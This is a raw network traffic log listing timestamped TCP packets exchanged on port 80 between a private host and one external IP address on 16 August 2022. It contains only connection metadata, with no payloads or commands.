                                                                                      Aug 16, 2022 11:39:49.439672947 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.439691067 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.439729929 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.439737082 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.439757109 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.439774990 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.439779997 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.439806938 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.439826012 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.439846039 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.439863920 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.439903021 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440012932 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440030098 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440062046 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440084934 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440217972 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440264940 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440274000 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440291882 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440319061 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440344095 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440365076 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440408945 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440438032 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440483093 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440607071 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440623999 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440668106 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440689087 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440697908 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440733910 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440823078 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440849066 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440872908 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440937042 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.440959930 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.440987110 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441052914 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441107988 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441139936 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441186905 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441267967 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441286087 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441329956 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441354990 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441375017 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441422939 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441625118 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441643953 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441668034 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441680908 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441715002 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441770077 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441790104 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441822052 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441871881 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441910982 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441936970 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441962004 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.441978931 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.441989899 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442030907 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442106009 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442158937 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442198992 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442223072 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442245007 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442272902 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442369938 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442389011 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442420959 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442446947 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442502975 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442550898 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442579031 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442625999 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442646027 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442693949 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442784071 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442837954 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442846060 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442894936 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.442981005 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.442998886 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443037987 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443059921 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443069935 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443105936 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443149090 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443198919 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443259001 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443308115 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443502903 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443557024 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443572044 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443604946 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443624973 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443649054 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443650961 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443684101 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443698883 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443726063 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443730116 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443772078 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443814993 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443861008 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.443893909 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.443941116 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444063902 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444087982 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444118023 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444152117 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444216967 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444268942 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444303036 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444350958 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444369078 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444387913 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444416046 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444453001 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444499969 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444535017 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444551945 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444559097 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444580078 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444612026 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444705963 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444731951 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444761038 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444788933 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444794893 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444814920 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444840908 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444855928 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444869995 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444907904 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.444932938 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.444981098 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.445014000 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.445064068 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.445225000 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.445244074 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.445280075 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.445308924 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.512902975 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.512937069 CEST8049782187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.513025045 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.513060093 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.541281939 CEST4978280192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.652267933 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.652302027 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.652329922 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.652390957 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.652443886 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.653614044 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.653681040 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.653733015 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.653795958 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.654383898 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.654467106 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655379057 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655405045 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655428886 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655452967 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655457020 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655478001 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655486107 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655500889 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655524969 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655527115 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655549049 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655554056 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655575037 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655597925 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655600071 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655621052 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655644894 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655646086 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655672073 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655672073 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655698061 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655709982 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655721903 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655744076 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655745983 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655770063 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655791044 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655791044 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655814886 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655823946 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655839920 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655863047 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655865908 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655885935 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655891895 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655909061 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655931950 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655932903 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.655955076 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655977964 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.655978918 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656001091 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656002045 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656025887 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656049013 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656066895 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656071901 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656101942 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656138897 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656146049 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656196117 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656305075 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656356096 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656359911 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656384945 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656409979 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656424999 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656524897 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656579971 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656582117 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656625032 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656729937 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656774998 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656788111 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.656837940 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.656953096 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657001019 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657015085 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657067060 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657130957 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657185078 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657228947 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657290936 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657385111 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657408953 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657433987 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657475948 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657545090 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657608032 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657663107 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657668114 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657674074 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657728910 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657799959 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657850027 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657931089 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.657979965 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.657994032 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658046961 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658092022 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658135891 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658152103 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658206940 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658313990 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658373117 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658376932 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658421993 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658468962 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658519983 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658536911 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658586025 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658632994 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658679962 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658792019 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658847094 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658894062 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658916950 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.658941031 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.658962011 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.659086943 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.659116030 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.659140110 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.659140110 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.659167051 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.659167051 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.659190893 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.659193039 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.659215927 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.659241915 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.659281015 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.659306049 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.659327030 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.659359932 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663474083 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663516045 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663537025 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663558960 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663582087 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663604021 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663606882 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663625956 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663647890 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663669109 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663685083 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663690090 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663712025 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663713932 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663737059 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663747072 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663759947 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663783073 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663804054 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663819075 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663825989 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663849115 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663871050 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663887024 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663892984 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663913965 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663925886 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663938046 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663959980 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.663973093 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.663980961 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.664000988 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.664015055 CEST4978180192.168.2.3187.45.240.69
                                                                                      Aug 16, 2022 11:39:49.664022923 CEST8049781187.45.240.69192.168.2.3
                                                                                      Aug 16, 2022 11:39:49.664046049 CEST8049781187.45.240.69192.168.2.3
